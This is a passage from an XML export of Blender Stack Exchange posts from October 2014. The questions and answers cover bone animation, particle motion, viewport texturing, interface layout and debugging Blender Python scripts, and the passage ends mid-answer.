  <row Id="18027" PostTypeId="1" AcceptedAnswerId="18065" CreationDate="2014-10-21T13:24:39.910" Score="1" ViewCount="488" Body="&lt;p&gt;I have a &lt;code&gt;.bvh&lt;/code&gt; file of an armature with some bones; it has an animation but it's based on the translation of these bones not rotation. Is there a way I can make the same animation with rotations instead? As this armature is parented and weighted to a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bvh data is of a facial animation. The final animation needs to be exported to an application that doesn't support bone translations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could, please advise.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="935" LastEditDate="2014-10-22T13:37:52.937" LastActivityDate="2014-10-25T15:13:06.853" Title="How to change armature animation so it depends on rotation not translation" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18028" PostTypeId="2" ParentId="17844" CreationDate="2014-10-21T13:54:32.567" Score="9" Body="&lt;p&gt;I will add my procedural softbox approach that will work on glossy surfaces.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/72nuk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/72nuk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="903" LastEditorUserId="31447" LastEditDate="2020-10-21T15:10:39.920" LastActivityDate="2020-10-21T15:10:39.920" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18029" PostTypeId="2" ParentId="18005" CreationDate="2014-10-21T15:06:54.110" Score="2" Body="&lt;p&gt;Aside from the several other wonderful answers given.  You can also change the &lt;em&gt;viewport color&lt;/em&gt; at the bottom of the &lt;em&gt;materials&lt;/em&gt; panel of the &lt;em&gt;properties&lt;/em&gt; editor.  This does not in any way affect the rendering of the object it will only color the object in &lt;em&gt;solid view&lt;/em&gt; mode.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-10-21T15:06:54.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18030" PostTypeId="1" CreationDate="2014-10-21T15:37:26.637" Score="1" ViewCount="104" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMpSL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I unwrapped this cube and applied a grid texture into it. Then i Enabled [Textured Solid] Option from N panel. But It now showing textured on the display. I am not understanding , what is wrong with me and my blender [2.72]&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2014-10-21T15:37:26.637" Title="Texture Solid Option Is Not Showing Textured On 3D View port" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-10-21T15:49:44.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="18031" PostTypeId="1" AcceptedAnswerId="18038" CreationDate="2014-10-21T15:46:32.197" Score="4" ViewCount="1623" Body="&lt;p&gt;I'm trying to make particles rise softly, as if floating on hot air. I've added drag, increased particle mass, and lowered wind strength, but it isn't getting slow enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this just a matter of finesse (right wind strength/particle mass), or is there a trick to it or a certain setting necessary?&lt;/p&gt;&#xA;" OwnerUserId="7572" LastEditorUserId="7572" LastEditDate="2014-10-21T16:24:08.133" LastActivityDate="2014-10-21T17:47:56.923" Title="How can I make particles rise softly?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18032" PostTypeId="1" CreationDate="2014-10-21T15:51:52.840" Score="2" ViewCount="764" Body="&lt;p&gt;I want to bake to an image via script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the &quot;active image&quot; of an object in python?&#xA;Alternatively, is there another way to use blender internal to bake to an image via python?&lt;/p&gt;&#xA;" OwnerUserId="3010" LastEditorUserId="7931" LastEditDate="2015-04-06T18:33:27.967" LastActivityDate="2015-04-06T18:33:27.967" Title="How can I change the &quot;active image&quot; of an object via python for baking?" Tags="&lt;python&gt;&lt;blender-internal-render-engine&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18033" PostTypeId="1" CreationDate="2014-10-21T16:01:19.857" Score="6" ViewCount="6473" Body="&lt;p&gt;I want to create very thick and defined white smoke. Should I model it with displacement or use the smoke simulator? Note: this is a still image.&lt;/p&gt;&#xA;" OwnerUserId="7604" LastActivityDate="2014-10-22T08:35:14.517" Title="Make thick defined smoke" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18035" PostTypeId="1" CreationDate="2014-10-21T16:25:09.700" Score="1" ViewCount="287" Body="&lt;p&gt;I have a very simple task I want to run from within a function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bpy.ops.object.duplicate(linked=False, mode='DUMMY')&#xA;    objDup = bpy.context.scene.objects.active    &#xA;    bpy.ops.object.shape_key_remove(all=True)&#xA;    bpy.context.scene.objects.active = obj &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I run this as is, outside the function, everything's ok. It does what it's supposed to, takes the active object, duplicates it, the duplicate is automatically made an active object, so it defines that in a variable and removes all its shapekeys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I run it inside the function mainFunction, it duplicates the active object, but removes the shapekeys from the original instead of the duplicated object, although the code is very clear about it... What gives???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;    class FreezeShapes(bpy.types.Operator):&#xA;        bl_label = &quot;Freeze ShapeKeys&quot;&#xA;        bl_idname = &quot;obj.frzshps&quot;   &#xA;        def execute(self, context):&#xA;            #Check the type and the number of the objects:&#xA;            Actobj = bpy.context.scene.objects.active&#xA;            if Actobj.type == &quot;MESH&quot;:&#xA;                shpKys = Actobj.data.shape_keys&#xA;                if shpKys is not None:&#xA;                    ob = bpy.context.scene.objects.active&#xA;                    self.mainFunction(ob)&#xA;                else:&#xA;                    pass&#xA;            else:&#xA;                pass &#xA;            return {'FINISHED'}&#xA;&#xA;        def mainFunction(self, obj):&#xA;            obj = bpy.context.scene.objects.active               &#xA;            bpy.ops.object.duplicate(linked=False, mode='DUMMY')&#xA;            objDup = bpy.context.scene.objects.active    &#xA;            bpy.ops.object.shape_key_remove(all=True)&#xA;            bpy.context.scene.objects.active = obj    &#xA;            return {'FINISHED'}&#xA;&#xA;    ###########################################################################&#xA;&#xA;    class AJ_SHAPEKEY_UTILS_Panel(bpy.types.Panel):&#xA;        &quot;&quot;&quot;Creates a Panel in the scene context of the properties editor&quot;&quot;&quot;&#xA;        bl_label = &quot;AJ_SHAPEKEY_UTILS&quot;&#xA;        bl_space_type = &quot;PROPERTIES&quot;&#xA;        bl_region_type = &quot;WINDOW&quot;&#xA;        bl_context = &quot;data&quot; &#xA;&#xA;        def draw(self, context):&#xA;             layout = self.layout&#xA;             scn = bpy.context.scene&#xA;             row.operator(FreezeShapes.bl_idname, icon='FREEZE')&#xA;&#xA;    ###########################################################################&#xA;&#xA;    def register():&#xA;        bpy.utils.register_class(FreezeShapes)&#xA;        bpy.utils.register_class(AJ_SHAPEKEY_UTILS_Panel)&#xA;&#xA;    if __name__ == &quot;__main__&quot;:&#xA;        register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Select an object with shapekeys, run it; then go to the data tab and in the custom menu at the very bottom, press &quot;Freeze ShapeKeys&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must be doing something wrong here, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx for all the replies in advance;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AJ&lt;/p&gt;&#xA;" OwnerUserId="7530" LastEditorUserId="7530" LastEditDate="2014-10-21T18:30:41.377" LastActivityDate="2014-10-21T18:30:41.377" Title="Code inside function not working as it should" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18036" PostTypeId="1" CreationDate="2014-10-21T16:41:10.867" Score="4" ViewCount="449" Body="&lt;p&gt;I have a complicated physics simulation done, but I want move the entire simulation on the timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't know how to do this without having to resimulate everything. Do not want to change how the baked physics look, just want to have it play the same animation at a different time.&lt;/p&gt;&#xA;" OwnerUserId="7605" LastActivityDate="2014-10-21T16:41:10.867" Title="Move physics animation on timeline without resimulating?" Tags="&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18037" PostTypeId="1" AcceptedAnswerId="18041" CreationDate="2014-10-21T17:05:32.310" Score="1" ViewCount="920" Body="&lt;p&gt;My first problem is the toolbar. My toolbar is hidden and not showing File, Edit etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9g7P.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By mistake I just remove the center image to get the tool bar but the timeline covers my model working area now and it's now re-sizing. When I drag my mouse pointer to that bar where pointer changes to up, down arrows to re-size the window, but when I click and drag pointer to make my working area bigger and timeline smaller than nothing works, the areas are not moving, just split in more and join.&lt;/p&gt;&#xA;" OwnerUserId="7606" LastEditorUserId="32220" LastEditDate="2019-01-11T19:20:10.087" LastActivityDate="2019-01-11T19:20:10.087" Title="Missing toolbar and cannot resize areas?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18038" PostTypeId="2" ParentId="18031" CreationDate="2014-10-21T17:47:56.923" Score="4" Body="&lt;p&gt;Instead of using wind etc. to blow the particles upwards, try disabling gravity for just the particles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iCZ15.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the emitter plane's normal is facing upwards, so the particles start with a initial upwards motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also added a turbulence force field along with some random initial and brownian velocity, to give it a bit of randomness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XuFTF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-21T17:47:56.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18039" PostTypeId="1" AcceptedAnswerId="18040" CreationDate="2014-10-21T17:56:46.150" Score="1" ViewCount="1512" Body="&lt;p&gt;How can I setup the right (or left) button on the 3DConnexion's SpaceMouse Wireless to act as &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; keystroke in Blender 2.7x for Mac? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3DConnexion's own SpaceMouse settings don't work.&lt;/p&gt;&#xA;" OwnerUserId="7607" LastEditorUserId="42362" LastEditDate="2017-07-12T13:03:58.227" LastActivityDate="2017-07-12T13:03:58.227" Title="Set shortcut to use 3DConnexion SpaceMouse button?" Tags="&lt;customization&gt;&lt;shortcut&gt;&lt;3d-mouse&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-22T21:34:43.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="18040" PostTypeId="2" ParentId="18039" CreationDate="2014-10-21T19:00:55.017" Score="2" Body="&lt;p&gt;Try editing the keymap in &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Input&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change a shortcut, click the button with the current shortcut and press the new shortcut. Pressing a mouse button works for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v4HTU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-21T19:00:55.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18041" PostTypeId="2" ParentId="18037" CreationDate="2014-10-21T19:17:06.043" Score="1" Body="&lt;p&gt;To split or join areas, you can either drag on the shaded corner with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt;, or you can &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; on the edge between areas and select &lt;em&gt;Split&lt;/em&gt; or &lt;em&gt;Join&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have done that, move the mouse over the area you want to replace and you will see an arrow appear which indicates which area will replace which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm, either release &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; (if you were dragging from the corner widget), or click with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; if you use the &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zHckU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resize areas, drag the edge of the area with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LnnXn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change an area's type, click the drop down on the far left of the header and select an editor type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bv3wW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to fix your layout:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the top 3D view to an info area and resize it so that only the header is visible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the timeline to a 3D view&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wB81Z.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Arranging_frames&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-21T19:25:56.437" LastActivityDate="2014-10-21T19:25:56.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18042" PostTypeId="1" AcceptedAnswerId="18043" CreationDate="2014-10-21T19:50:00.967" Score="1" ViewCount="308" Body="&lt;p&gt;No matter what texture setting I'm in, none of the particle objects will display materials or texture, instead, I just get squares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aL4J5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been having a lot of texture issues lately and even tried resetting factory settings, but things like this still get messed up. Is there a setting in render that I don't understand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my .blend: &lt;a href=&quot;http://www.pasteall.org/blend/32269&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/32269&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="599" LastEditDate="2014-10-21T19:56:38.640" LastActivityDate="2014-10-21T20:05:31.953" Title="Textured alpha not showing in the game engine?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18043" PostTypeId="2" ParentId="18042" CreationDate="2014-10-21T19:53:14.963" Score="1" Body="&lt;p&gt;Try switching to GLSL shading in &lt;em&gt;3D view &gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LRqTy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it works as expected: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fuByU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-21T20:05:31.953" LastActivityDate="2014-10-21T20:05:31.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18044" PostTypeId="2" ParentId="18023" CreationDate="2014-10-21T20:03:29.003" Score="1" Body="&lt;p&gt;Properties can't be added to a built-in keying-set, which isn't necessary. The keying-set &lt;em&gt;Whole Character&lt;/em&gt; also includes ik/fk switch (among others).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73slC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yKN5W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for walk cycles the keys for the root bone should be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aligorith.blogspot.de/2011/02/extending-25-coding-your-own-builtin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coding your own &quot;Builtin Keying Set&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-21T20:03:29.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18045" PostTypeId="2" ParentId="18026" CreationDate="2014-10-21T20:04:19.913" Score="2" Body="&lt;p&gt;You can specify the active camera with the Scene actuator, which has a &quot;Set Camera&quot; mode.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-21T20:04:19.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18046" PostTypeId="2" ParentId="18024" CreationDate="2014-10-21T20:23:13.187" Score="2" Body="&lt;p&gt;The scene has to be active in order for objects within it to receive and process messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of removing the overlay scene to hide the inventory, you should just move/rotate the camera to look away at some empty space.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-21T20:23:13.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18047" PostTypeId="1" CreationDate="2014-10-21T20:47:37.950" Score="13" ViewCount="4658" Body="&lt;p&gt;So I made a sphere which rotates and scales and changes color.&#xA;I wanna use it as a particle, which I can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I have a stream of spheres which rotate and scale in perfect sync.&#xA;What I want is each sphere to begin rotating and scaling (from its own frame 1) at the moment it's duplicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A stream of spheres each growing and scaling sequentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get an object to &lt;em&gt;wait until the particle system duplicates it&lt;/em&gt; before animating?&lt;/p&gt;&#xA;" OwnerUserId="7610" LastEditorUserId="599" LastEditDate="2014-10-21T22:05:48.323" LastActivityDate="2019-10-02T12:38:05.673" Title="Make animated particle object start animation from the beginning when emitted?" Tags="&lt;animation&gt;&lt;objects&gt;&lt;particles&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18048" PostTypeId="1" AcceptedAnswerId="18050" CreationDate="2014-10-21T21:13:22.537" Score="2" ViewCount="260" Body="&lt;p&gt;I would like to customize the mouse-over tooltip to provide me with more detailed info about nodes and other things. Is there a relatively easy way to do this? I'm not a coder. &lt;/p&gt;&#xA;" OwnerUserId="6327" LastActivityDate="2014-10-21T22:01:38.837" Title="Editing tooltip for more info" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18049" PostTypeId="2" ParentId="18009" CreationDate="2014-10-21T21:55:00.417" Score="1" Body="&lt;p&gt;If you create an empty, and set it to represent an instance of the brokenCube group (Properties panel -&gt; Object -&gt; Duplication -&gt; Group), you can then simply add that empty, to add all the objects in the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo: &lt;a href=&quot;https://www.dropbox.com/s/f16qmograhwzlko/break_demo.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;break_demo.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Cell fracture seems to create areas with a very large number of very small parts. I would recommend that you remove most of them (as I did in the demo), if you want to have good performance.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="6355" LastEditDate="2014-10-24T03:23:06.560" LastActivityDate="2014-10-24T03:23:06.560" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18050" PostTypeId="2" ParentId="18048" CreationDate="2014-10-21T22:01:38.837" Score="2" Body="&lt;p&gt;You'll have to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow&quot;&gt;compile blender from source&lt;/a&gt; if you want to write your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the source code, most tooltip text is defined somewhere in &lt;code&gt;/source/blender/makesrna/intern/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to compile blender yourself, you can write your suggestions &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Proposals/UI/Tooltips&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-21T22:01:38.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18051" PostTypeId="2" ParentId="16346" CreationDate="2014-10-21T22:07:44.780" Score="0" Body="&lt;p&gt;A good approach to this is listed here: &lt;a href=&quot;https://blender.stackexchange.com/questions/6750/poly-bezier-curve-from-a-list-of-coordinates&quot;&gt;Poly / Bezier curve from a list of coordinates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coords=np.loadtxt('filename.txt')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to load my datafile and then use the script listed at the above link to add the curve. &lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-21T22:07:44.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18052" PostTypeId="2" ParentId="18015" CreationDate="2014-10-21T22:24:28.987" Score="1" Body="&lt;p&gt;Try adding another scene named after the clip then import the long clip. Soft cut it or metastrip the parts as you wish. Then copy paste these elements back to the master edit scene.&#xA;You can have as many additional clip scenes as you wish.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-10-21T22:24:28.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18053" PostTypeId="2" ParentId="17991" CreationDate="2014-10-21T23:29:49.573" Score="2" Body="&lt;p&gt;If you look in the console/terminal, you will see python errors which describe the problem type, and where it occurs, with pretty decent accuracy (for the most part).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I solved the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start your game; I check the console; I see this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python error compiling script - object 'camera', controller 'Python':&#xA;  File &quot;mouseLook.py&quot;, line 27&#xA;    return vec_mouseposition = vec_screencenter&#xA;                             ^&#xA;SyntaxError: invalid syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It tells you everything you need to know: The object, controller, file and line where the error occurred. It even prints out the line in question, and points out the problematic symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you watch the video tutorial again, carefully, you'll notice that it's a &lt;code&gt;-&lt;/code&gt;, not a &lt;code&gt;=&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I fixed that, I tried again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start your game; I check the console; I see this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python script error - object 'camera', controller 'Python':&#xA;Traceback (most recent call last):&#xA;  File &quot;mouseLook.py&quot;, line 2, in &amp;lt;module&amp;gt;&#xA;ImportError: cannot import name 'vector'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that makes sense, because &lt;code&gt;vector&lt;/code&gt; doesn't exist on the mathutils module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you watch the video tutorial again, carefully, you'll notice it's &lt;code&gt;Vector&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I fixed that, I tried again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start your game; I check the console; I see this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python script error - object 'camera', controller 'Python':&#xA;Traceback (most recent call last):&#xA;  File &quot;mouseLook.py&quot;, line 39, in &amp;lt;module&amp;gt;&#xA;NameError: name 'MouseLook' is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You defined &lt;code&gt;mouseLook&lt;/code&gt;, but you're trying to instantiate &lt;code&gt;MouseLook&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you watch the video tutorial again, carefully, you'll notice that the class name is &lt;code&gt;MouseLook&lt;/code&gt;, and that the filename is &lt;code&gt;MouseLook.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I fixed that, I tried again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start your game; I check the console; I see no errors; I move the mouse a bit; I check console again; I see no errors ... but nothing is happenning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look at the controller; I notice that you're running in Script mode ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you watch the video tutorial again, carefully, you'll notice that the controller is set to Module execution mode, and that it specifies the actual function being called &lt;code&gt;MouseLook.main&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I fixed that, I tried again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start your game; I check the console; I see this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python script error - object 'camera', controller 'Python':&#xA;Traceback (most recent call last):&#xA;  File &quot;/dev/shm/blender/mlook.blend/MouseLook.py&quot;, line 43, in main&#xA;  File &quot;/dev/shm/blender/mlook.blend/MouseLook.py&quot;, line 31, in main&#xA;NameError: name 'self_getMouseoffset' is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you watch the video tutorial again, carefully, you'll notice that it's &lt;code&gt;self.getMouseOffset()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I fixed that, I tried again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start your game; I check the console; I see this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python script error - object 'camera', controller 'Python':&#xA;Traceback (most recent call last):&#xA;  File &quot;/dev/shm/blender/mlook.blend/MouseLook.py&quot;, line 43, in main&#xA;  File &quot;/dev/shm/blender/mlook.blend/MouseLook.py&quot;, line 31, in main&#xA;  File &quot;/dev/shm/blender/mlook.blend/MouseLook.py&quot;, line 24, in getMouseOffset&#xA;NameError: name 'self_screen_center' is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you watch the video tutorial again, carefully, you'll notice that it's &lt;code&gt;self.screen_center&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I fixed that, I tried again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start your 